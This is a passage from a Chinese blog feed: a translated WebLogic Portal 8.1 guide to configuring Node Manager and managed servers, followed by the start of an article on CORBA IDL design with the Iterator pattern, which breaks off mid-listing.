<P>　　为了本示例的目的，我们将配置Node Manager进程使用DemoIdentity.jks keystore和DemoTrust.jks CA keystore。因为Administration Server、Managed Server和Node Manager进程都使用DemoTrust.jks keystore中相同的发证机构，该机构已经签署了所有主机上的所有SSL证书，所以这几方都互相信任对方。</P>
<P>　　编辑nodemanager.properties，并指定 <BR>KeyStores=DemoIdentityAndDemoTrust<BR>该文件可以指定的其他选项包括Node Manager进程应该监听的端口和网络接口。我们使用默认值。</P>
<P>　　保存nodemanager.properties文件。</P>
<P>　　4. 将Node Manager注册为Windows Service / UNIX守护程序。（可选）</P>
<P>　　如果正在使用UNIX，那么按照http://e-docs.bea.com/wls/docs81/adminguide/confignodemgr.html中的步骤进行配置。</P>
<P>　　对于Windows...<BR>- 转到WL_HOME/server/bin<BR>- 检查“BEA WebLogic ... NodeManager”是否被列为Windows Service （在控制面板/管理工具/服务)。<BR>- 如果它被列为服务，并且正在运行，那么使用鼠标右键单击该服务，选择停止，然后运行：<BR>.\uninstallNodeMgrSvc.cmd<BR>, 按F5刷新服务，确认它已经不再服务列表中。<BR>- 运行<BR>.\installNodeMgrSvc.cmd</P>
<P>- 确认“BEA WebLogic ... NodeManager”服务是否被列为Windows Service</P>
<P><BR>　　5. 在主机上安装Managed Servers需要的文件。</P>
<P>　　WebLogic Portal在每个Managed Server根目录中都需要“wsrpKeystore.jks”文件。默认情况下，Node Manager将在WL_HOME/common/nodemanager的子目录中运行服务器，例如，WL_HOME/common/nodemanager/ms1/…。</P>
<P>　　将wsrpKeystore.jks文件从Administration Server主机Administration Server域目录中复制到该主机上的WL_HOME/common/nodemanager/wsrpKeystore.jks。</P>
<P>　　假定您正在生产模式运行，为了使该主机上的Managed Servers能够自动启动，您在WL_HOME/common/nodemanager目录中也将需要一个boot.properties文件。</P>
<P>　　在WL_HOME/common/nodemanager中创建一个“boot.properties”文件。添加以下形式的内容：<BR>　　username=weblogic (或者任何其他系统用户名)<BR>　　password=weblogic (或者任何其他系统密码)</P>
<P>　　保存该文件。</P>
<P>　　对于每台运行Managed Server的主机重复这些步骤。 <BR><BR>　　<B>通过WebLogic Administration Console指定整体Managed Server和Node Manager配置:</B><BR>　　1. 启动Administration Server。这时候不要启动任何Managed Server。</P>
<P>　　2. 连接WebLogic Administration Console。</P>
<P>　　3. 在WebLogic Administration Console中，我们需要指定主机列表（Managed Server应当运行在其中每个主机上）和Administration Server如何联系每台主机上的Node Manager进程。</P>
<P>　　Node Manager需要该信息，因此它知道启动哪个Managed Server以及在哪里启动。该信息能够在Configuration Wizard中的域安装时指定。如果它还没有被配置，或者我们希望修改它，那么这可以通过WebLogic Administration Console进行配置。</P>
<P>　　3a. 在左窗格中，单击“&lt;域&gt;/计算机”。<BR><BR>　　3b. 如果没有列出计算机，那么为每台正在运行Managed Server的主机创建一个计算机项。单击“Configure a new Machine/Unix Machine...”链接指定该信息。为计算机指定一个唯一名称，并单击Create。对于UNIX计算机，您还能够指定Node Manager服务以特定的userID/groupID运行。<BR><BR>　　3c. 单击Node Manager选项卡，然后指定DNS地址，Administration Server将使用该地址访问那台主机上的Node Manager进程。对于该示例，保持默认的Listen Port设置为5555。</P>
<P>　　如前面所提到的，为了使演示SSL配置能够工作，指定用于联系Managed Server的DNS主机地址必须与Managed Server主机的演示SSL证书匹配。</P>
<P>　　对于Windows主机，Managed Server的演示SSL证书通常只是主机名称——例如，如果完整的主机名称是“host1.foo.com”，那么SSL证书将被链接到主机“host1”。在这种情况下，您将希望Administration Serer在连接时使用主机名“host1”s，而不是“host1.foo.com”或IP地址。</P>
<P>　　对于UNIX主机，Managed Server的演示SSL证书通常是完全限定DNS名称——例如，如果完整的主机名是“host5.foo.com”，那么SSL证书将被链接到主机“host5.foo.com”。在这种情况下，您将希望Administration Server在连接时使用主机名“host5.foo.com”，而不是“host5”或IP地址。</P>
<P>　　3d. 单击服务器选项卡，然后指定哪台（些）Managed Server将运行在该机器上，单击Apply。</P>
<P>　　3e. 对所有运行Managed Server的主机重复步骤3。 <BR>　　指定Node Manager应当如何通过WebLogic Administration Console启动和控制每台Managed Server：<BR>在WebLogic Administration Console中，我们需要配置关于每台Managed Server的信息，使Node Manager能够启动它。按照以下步骤配置每个Managed Server节点： </P>
<P>　　1. 在左窗格中，单机&lt;域&gt;/&lt;Managed Server&gt;节点。</P>
<P>　　2. 选中Configuration --&gt; Remote Start选项卡。为了填写该页面，我们需要一些关于Managed Server如何启动的信息。获取这些信息的一个简单方法是通过一个startManagedServer脚本在合适的装箱中手动启动Managed Server。下一步将帮助识别这些信息。</P>
<P>　　3. 为了构建一个startManagedServer脚本，我们暂时在每台运行Managed Server的主机上创建一个“伪造”域文件系统的目录。以后，在我们获得信息后，将会删除这个“伪造”域目录，因为它在运行时是不需要的。</P>
<P>　　在每台运行Managed Server的主机上：（例如，host1.foo.com，host2.foo.com）</P>
<P>　　启动Configuration Wizard创建一个新的WebLogic Configuration，使用Basic WebLogic Portal Domain模板，使用Express配置，输入与真实域相同的用户名和密码，配置与真实域相同的启动模式，命名并创建域。</P>
<P>　　对于该主机上的每个Managed Server： </P>
<P>　　4. 通过startManagedWebLogic脚本启动Managed Server。</P>
<P>　　如前面所提到，为了使演示SSL配置能够工作，在启动Managed Server时指定的Administration Server主机地址必须与Administration Server主机的演示SSL证书匹配。</P>
<P>　　对于Windows主机，Administration Server主机的演示SSL证书通常只是主机名称——例如，如果完整的主机名是“adminbox.foo.com”，那么SSL证书将被链接到主机“adminbox”。在这种情况下，您将希望Managed Server在连接时使用主机名“foobar”，而不是“adminbox.foo.com”或IP地址。</P>
<P>　　对于UNIX主机，Administration Server主机的演示SSL证书通常是完全限定的DNS名称——例如，如果完整主机名是“adminbox.foo.com”，那么SSL证书将被链接到主机“adminbox.foo.com”。在这种情况下，您将希望Managed Server在连接时使用主机名“adminbox.foo.com”，而不是“adminbox”或IP地址。</P>
<P>　　在命令/终端窗口中，转到刚刚创建的“伪造”域目录。</P>
<P>　　通过startManagedWebLogic脚本启动Managed Server。</P>
<P>　　例如，如果Managed Server名为“ms2”，Administration Server在一个具有SSL证书名“adminbox”和端口8001的Windows主机上： <BR>startManagedWebLogic.cmd ms2 t3://adminbox:8001</P>
<P>　　如果您正在生产模式（应该的模式）下运行域，那么您将需要输入系统用户名和密码。</P>
<P>　　一旦Managed Server成功启动，查看WebLogic Administration Console窗口中关于如何启动Managed Server的信息。我们将使用这些信息为Managed Server实例配置Node Manager。如果您是在windows下启动，那么文件和目录名可能会被截短。如果希望，可以扩展路径，但这不是必需的。</P>
<P>　　复制CLASSPATH=... 等行和运行java来启动服务器进程的行。这些行以“weblogic.Server”结束，删除所有新行。</P>
<P>　　例如，CLASSPATH= 等行可能看上去像这样：</P>
<P align=center><IMG height=454 src="http://dev2dev.bea.com.cn/techdoc/wlportal/image2004110512.gif" width=427></P>
<P><BR>　　服务器启动的行可能看上去像这样：</P>
<P align=center><IMG height=301 src="http://dev2dev.bea.com.cn/techdoc/wlportal/image2004110513.gif" width=484></P>
<P>　　5. 关闭Managed Server。</P>
<P>　　6. 回到WebLogic Administration Console，为Managed Server指定Java主目录。Java主目录列在服务器启动行的开始处。删除“bin/java”部分。例如，在上面的服务器启动行中产生Java主目录D:\WL81SP~2\JROCKI~1。输入该值作为Java主目录。</P>
<P>　　7. 现在在主机上指定BEA主目录，也就是WebLogic Platfrom安装的位置。该目录也在CLASSPATH行中被列出了几次，它以weblogic目录开头。在上面的服务器启动行中，您可以看到字符串'D:\WL81SP~2\WEBLOG~1'重复了许多次。删除WebLogic目录，生成'D:\WL81SP~2'。输入该值作为BEA home。</P>
<P>　　8. 保留（Managed Server）根目录字段为空。默认情况下，将在WL_HOME\common\nodemanager的一个子目录下启动Managed Server。</P>
<P>　　9. 现在为Managed Server指定Class Path。使用与服务器启动期间相同的CLASSPATH，但删除前缀“CLASSPATH=”。</P>
<P>　　10. 现在指定（Managed Server）参数。它们由许多服务器启动行组成，去掉了java前缀，删除了-Djava.security.policy= 参数，还删除了weblogic.Server后缀。</P>
<P>　　例如，我们从这样的一行开始：</P>
<P align=center><IMG height=354 src="http://dev2dev.bea.com.cn/techdoc/wlportal/image2004110514.gif" width=366></P>
<P>　　然后删除前缀、参数、后缀，以这样的参数设置结束：</P>
<P align=center><IMG height=165 src="http://dev2dev.bea.com.cn/techdoc/wlportal/image2004110515.gif" width=524></P>
<P>　　11. 指定Security Policy文件。使用与我们在前面步骤中删除的相同的安全策略参数，确定这是绝对路径。不包括-Djava.security.policy=前缀。这将给我们下面的策略文件： <BR>'D:\WL81SP~2\WEBLOG~1\server\lib\weblogic.policy'</P>
<P>　　12. 输入系统用户名和密码，单击Apply </P>
<P>　　13. 为域中每台Managed Server重复这个步骤顺序。</P>
<P>　　在为所有Managed Server完成这些步骤后，关闭Administration Server。 <BR><BR><B>　　使用Node Manager测试</B><BR>　　1. 首先，让我们确保Node Manager进程正运行在每台Managed Server主机上。</P>
<P>　　在Windows下，能够通过控制面板/管理工具/服务启动Node Manager Windows Service。在UNIX下，以合适的方式启动守护程序。</P>
<P>　　确认Node Manager进程保持运行状态至少30秒。如果错误配置Node Manager进程，它有时会立即关闭。</P>
<P>　　2. 如果需要，启动Administration Server。</P>
<P>　　3. 登录进WebLogic Administration Console，并执行希望的操作。</P>
<P>　　例如，为了启动所有的Managed Server，选择&lt;域&gt;/&lt;Clusters&gt;，右键单击您的群集，选中“Start/Stop this Cluster...”。然后单击“Start all Managed Servers...”，单击Yes。WebLogic Administration Console将与每台Managed Server主机上的Node Manager服务通信，并通知它们启动Managed Server。</P>
<P>　　如果一切都工作了，WebLogic Administration Console屏幕将稳定，这时，所有的Managed Server处于RUNNING状态、TASK COMPLETED状态。</P>
<P>　　如果错误发生，状态将变为FAILED。您可以在FAILED文本上单击来查看错误消息。您能够通过单击“Remote Start Output”选项卡发现额外的信息。</P>
<P>　　4. 如果所有东西工作得都很好，您可以删除在每个装箱上创建的“伪造”域目录，因为它不再需要。<BR><BR>　　<B>调试Node Manager配置</B><BR>　　调试Node Manager涉及到检查不同组件记录的各种日志文件。</P>
<P>　　下列组件记录了日志文件：<BR>　　- WebLogic Administration Console客户端（调试从管理客户端到Node Manager进程的通信）。</P>
<P>　　默认情况下调试日志是关闭的，但可以为与一台主机上的特定Node Manager进程通信而启用。</P>
<P>　　为了启动它，登录进WebLogic Administration Console，选择希望在与其通信时启用调试的Machines/&lt;主机&gt;，选中“Debug Enabled”框，单击Apply。</P>
<P>　　日志文件被写入到Administration Server的域目录的NodeManagerClientLogs子目录中。</P>
<P>　　- Node Manager进程（调试启动、监控和控制Managed Server）。</P>
<P>　　该输出可以从WebLogic Administration Console中查看，这可以通过单击&lt;Domain&gt;/Servers/&lt;ServerName&gt;，然后选择Control选项卡，然后选择Remote Start Output子选项卡，单击“View Node Manager output”链接来实现。</P>
<P>　　默认情况下，该日志记录是开启的，它被存储在Node Manager运行的主机上，默认情况下存储在WL_HOME/common/nodemanager/NodeManagerLogs/NodeManagerInternal中。</P>
<P>　　- Managed Server进程（调试服务器启动错误）</P>
<P>　　该日志记录默认时是开启的，以多个文件存储在运行Node Manager的主机上。</P>
<P>　　默认情况下把服务器日志写入到WL_HOME/common/nodemanager/&lt;servername&gt;/&lt;servername&gt;.log。</P>
<P>　　该输出能够从WebLogic Administration Console中通过单击&lt;Domain&gt;/Servers/&lt;ServerName&gt;，然后选择窗口底部“View server log”链接来查看。</P>
<P>　　默认情况下把任何服务器向标准输出写的输出发送到WL_HOME/common/nodemanager/&lt;domainname&gt;_&lt;servername&gt;/&lt;servername&gt;_output.log。</P>
<P>　　该输出能够从WebLogic Administration Console中查看，这可以通过单击&lt;Domain&gt;/Servers/&lt;ServerName&gt;，选择Control选项卡，选择Remote Start Output子选项卡，单击“View Server output”链接来实现。</P>
<P>　　默认情况下把任何由服务器写到标准错误的输出发送到<BR>WL_HOME/common/nodemanager/&lt;domainname&gt;_&lt;servername&gt;/&lt;servername&gt;_error.log。</P>
<P>　　该输出可以从WebLogic Administration Console中查看，这可以通过单击&lt;Domain&gt;/Servers/&lt;ServerName&gt;，选择Control选项卡，选择Remote Start Output子选项卡，然后单击“View Server error output”链接来实现。</P>
<P>　　原文出处：<A href="http://dev2dev.bea.com/products/wlportal81/articles/wlp_roth.jsp" target=_blank>http://dev2dev.bea.com/products/wlportal81/articles/wlp_roth.jsp</A></P><img src ="http://www.blogjava.net/kapok/aggbug/9735.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-10 19:09 <a href="http://www.blogjava.net/kapok/archive/2005/08/10/9735.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Corba中IDL的设计</title><link>http://www.blogjava.net/kapok/archive/2005/08/08/9595.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 08 Aug 2005 10:24:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/08/9595.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9595.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/08/9595.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9595.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9595.html</trackback:ping><description><![CDATA[<CENTER>
<H3>Corba中IDL的设计</H3></CENTER><STRONG><FONT size=4><A href="http://www.huihoo.com/corba/corba_idl.html">http://www.huihoo.com/corba/corba_idl.html</A></FONT></STRONG><BR>(来源：http://www.ccw.com.cn) <BR><BR>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>从技术的角度来讲，把系统设计成n层结构需要解决系统管理上的一些问题，如网络的延时，系统的反应时间，服务的可用性，负载的管理，分布式的缓冲和分布式的垃圾回收等。而且，对于每一个能提高系统效率的新的解决方案，也会随之带来新的问题。但是这些在设计大型的分布式应用系统的技术上的问题，都可以通过使用一些基本的设计方法和技巧来加以解决。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>通过使用迭代（Iterator）的设计模式来定义idl语言，从而解决corba程序中诸如性能管理，缓冲，分布式垃圾回收等问题。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B><FONT size=4>一．性能上的问题</FONT></B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>虽然corba的体系结构简化了网络的内在的复杂性。但它不能保证一定可以构造一个高</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>性能，高效率的系统，要实现这个目标，整个系统的设计一定要考虑到网络固有的结构，主要是以下的三个因素。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>1． 远程调用的数量。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>2． 数据传输的数量。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>3． 不同数据类型的转换和包装。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>如果在系统设计的开始加以考虑，这些问题将会得到解决。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>在基于corba的体统设计中，idl在组件的设计中起了很大的作用，应为它定义了服务端程序相互遵循的接口标准。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B><FONT size=4>二．IDL的设计</FONT></B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>一个通常在IDL设计中被忽视的问题是哪一个接口用于服务器端的应用程序，以及暂时的（transient）和持久的（persisent）corba对象。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>1．一个服务器端的应用程序是一个用于实现对象方法的，与语言无关的对象。在corba程序的模型中，服务器端的程序通过可移植对象适配器（Portable Object Adaptor,即POA）向系统注册，从而能一直接受用户对它的调用。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>2．同服务器端的对象相比，暂时的corba对象并不用POA向系统注册，他们在用户向系统请求的过程中由服务器端的应用程序生成。这些暂时的corba对象的生命周期不会超过所在进程或生成该对象的线程的生命周期，而且他们的对象句柄并不公开。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>3．持久性的corba对象同持久性的状态相关联，有着特殊的用途。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>以下主要讨论使用暂时的corba对象来管理大量数据的传输。这个方法在处理可能丢失数据的程序时非常有用，如下例所示：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>用户要查询大量的数据，在得到了前20个数据后，另一个用户也提出一个查询，可能的情况是前面查询的数据将丢失。在一个单进程的应用程序中，这不是一个问题。但是在分布式编程和设计中。将会占用很多的网络带宽和cpu的处理时间。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>基于如上所述，图一提供了一个客户端和服务器端程序的交互相应的示意图。客户端的代理是个远端的代理类，用于处理同远端服务器程序的连接以及把客户端的请求发送到服务器端。客户端向提供所需服务的服务器端付出请求，服务器端返回一组产品的信息，如果这个结果中有n个产品，则N个元素经过参数转换后在返回。初一看，这个设计是可行的，如果不发生前面所说的不可预料的情况的话。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>
<P align=center><IMG src="http://www.huihoo.com/corba/i/01_8_20_6a.jpg" border=0> </P></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>下面的代码定义了用来实现客户端和服务器端交互作用的IDL接口和方法。该文件中只定义了一个方法，用来返回一组产品的信息。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Module productcatalog</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>struct ProductItem</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>string productName;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>…</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>typedef sequence<PRODUCTITEM> ProductItemList;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Interface ProductCatalog</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductItemList getProductItems(in string group,in string category,in string status )</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Raises {SomeRemoteException};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>从客户端的角度看，对服务器端程序的一个请求，来检索产品的信息需要如下的几步骤。如图二所示.</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>
<P align=center><IMG src="http://www.huihoo.com/corba/i/01_8_20_6b.jpg" border=0> </P></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>代理的对象提供了一个包，绑定到一个特定的服务器端的对象实例上来充当一个中间的对象，用来管理对远程服务器对象的调度了管理。它的主要任务包括：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>1． 准备一个请求</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>2． 把调用请求提交给ORB的桩(stub)</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>3． 捕捉（trap）远端的异常。（最好把它们映射到用户自己定义的异常中）</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>4． 准备好用于接受特定对象模型的数据结构。这些数据要被客户端的应用程序使用产品类代理的实现如下面的代码所示：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>public class ProductServiceProxy</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>private static ProductServiceProxy instance;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>private ProductServiceProxy() {}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>public static ProductServiceClient getInstance()</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>if(instance==null)</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>instance=new ProductServiceProxy();</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>return instance;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>public ArrayList getProducts(String group,String category,String status) </TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>throws SomeException</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ArrayList productList=new ArrayList();</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Try</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductService productService=LocateRemoteService();</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>If(productService==null)</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>//return empty list or throw user defined exception</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>try</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>//get products using criteria,when request returns data,prepare data and store </TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>results in collection object</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>catch(SystemException se){//handle exception }</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>catch(Exception e){//handle exception}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>return productList;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>客户端的代理类用单一（singleton）模式来实现，从而可以保证只有一个客户端的代理对象实例生成，对于每一个需要远端调用的请求，LocateRemoteService()方法就会调用，从而来验证远端对象的句柄，如果连接已断开或者对象的句柄已经失效，就会自动绑定，从而能防止失败。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>另外的一种IDL的设计是，服务器端程序返回一系列的产品ID号而不是产品本身。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>如图三所示：</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>
<P align=center><IMG src="http://www.huihoo.com/corba/i/01_8_20_6c.jpg" border=0> </P></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>就网络本身来讲，这两个设计的差别主要在于产品ID号的数据量要远远小于产品本身的数据量。而用户也可以选择其中的一个ID号来察看产品的详细信息。这个设计同前面的设计相比更趋合理。因为它能根据用户的需求来传送数据，从而不会导致大量无用数据的传输。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>但是这个设计方案也有一个弊端，即要决定是否要显示产品ID号。而检索每一产品都需要查询所有的产品信息，这样就会带来同第一个方案相同的问题。因为为了数据，需要进行n+1次的远程调用。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>第三种方案如图四所示，它主要重新设计了IDL，利用用户的习惯和系统计算的限制。这个设计上的改进主要基于如下的考虑。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>
<P align=center><IMG src="http://www.huihoo.com/corba/i/01_8_20_6d.jpg" border=0></P></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>对于很多的用户界面的应用程序来讲，如基于JAVA SWING或WEB的程序，一次现实多少数据常常会受到屏幕大小的限制。对与WEB的程序来讲，查询的结果常 常会被分为很多页，由导航栏来控制信息的显示。而且，一般来说，用户常常需要一定 的时间来浏览显示的信息，然后才会选择下一步的动作。这就给程序的运行了调用带来 了一定意见的缓冲。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>为了实现这个目的，需要运用如下的机制来规范信息的流动了传输。一个方法就是使用迭代（Iterator）设计模式.因此需要重新设计IDL，从而能使大量的数据分成多 个块来传输。为了方便程序的实现，需要首先定义一个基本的迭代接口来规定远程迭代 类的方法。下面的代码定义了一个基本的BaseIterator和BaseListIterator接口。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>/* Base Iterators in IDL */</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>#include “util/exceptions/idlexceptions.idl”</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>module iterator</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>interface BaseIterator</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Boolean hasNext() raises(SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Short count() raises(SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>interface BaseListIterator</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Boolean hasPrevious() raises(SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Short previousIndex() raises(SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Boolean hasNext() raises(SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Short nextIndex() raises(SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Short count() raises(SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>/* util/iterator/iterator.idl */ </TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>这两个接口为下面跟具体业务有关的接口的实现，如ProductIterator接口的实现提供了基础。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>/* 具体业务有关的接口定义，本例中为ProductIterator接口 */</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>#include “util/iterator/iterator.idl”</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
